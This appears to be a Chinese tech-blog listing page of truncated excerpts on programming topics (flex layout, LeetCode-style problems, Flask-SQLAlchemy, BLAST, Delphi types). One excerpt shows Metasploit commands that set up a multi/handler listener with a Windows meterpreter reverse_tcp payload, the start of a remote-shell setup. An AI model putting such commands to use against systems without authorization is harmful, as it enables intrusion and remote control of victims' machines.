flex布局是有主轴和交叉轴之分的,一横一竖,纵横页面。 1.主轴是横还是竖呢? flex-direction决定 row(水平)column(竖向) 加reverse决定从下到上,还是从右到左 交叉轴视主轴方向决定 2.盒子的主轴排布 jusitfy-content决定 center(中间) fl ...
分类:
其他好文 时间:
2020-03-06 17:07:21
阅读次数:
127
//杨辉三角(数组) /* * @Description: Given a non-negative integer numRows, generate the first numRows of Pascal's triangle. * Input: 5 * Output: * [ * [1], * ...
分类:
编程语言 时间:
2020-03-06 15:00:14
阅读次数:
78
1 """ 2 Given a non-empty array of digits representing a non-negative integer, plus one to the integer. 3 The digits are stored such that the most sig ...
分类:
其他好文 时间:
2020-03-06 13:09:03
阅读次数:
61
案例代码: table_relation = db.Table('stu_tea_rel', # 关系表明 db.Column('stu_id', db.Integer, db.ForeignKey('student.id')), # 多关系表的主键 db.Column('tea_id', db.I ...
分类:
其他好文 时间:
2020-03-06 11:14:44
阅读次数:
50
1、msf创建监听 msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterp ...
分类:
Web程序 时间:
2020-03-06 11:14:11
阅读次数:
110
Blast进行同源基因的寻找 参考博客: http://boyun.sh.cn/bio/?p=1849 https://www.bioinfo scrounger.com/archives/673/ 基于蛋白的比对结果,寻找某一个蛋白家族的同源基因,使用如下的参数 identity 30%; e v ...
分类:
其他好文 时间:
2020-03-06 11:02:20
阅读次数:
214
案例代码: #定义模型 class BookInfo(db.Model): #设置表名 __tablename__ = 'bookinfo' #设置为主键之后,自动自增长 id = db.Column(db.Integer,primary_key=True) name = db.Column(db. ...
分类:
其他好文 时间:
2020-03-06 10:36:52
阅读次数:
49
输入两个整数序列,第一个序列表示栈的压入顺序,请判断第二个序列是否可能为该栈的弹出顺序。假设压入栈的所有数字均不相等。例如序列1,2,3,4,5是某栈的压入顺序,序列4,5,3,2,1是该压栈序列对应的一个弹出序列,但4,3,5,1,2就不可能是该压栈序列的弹出序列。(注意:这两个序列的长度是相等的 ...
分类:
其他好文 时间:
2020-03-06 09:14:02
阅读次数:
67
在Delphi中,LongInt和Integer,LongWord和Cardinal有什么区别? 有时候我发现DWORD的用法是什么呢? 它们在所有版本的Delphi中是否一致?我应该坚持哪一个? 简而言之:Longint和Longword是固定大小的整数,前者是有符号的,后者是无符号的,并且通常都 ...
先排序,再用双指针,注意的是解中是没有重复的情况的,所以需要跳过。 class Solution { public List<List<Integer>> threeSum(int[] nums) { List<List<Integer>> res = new ArrayList<>(); Arra ...
分类:
其他好文 时间:
2020-03-06 01:31:24
阅读次数:
48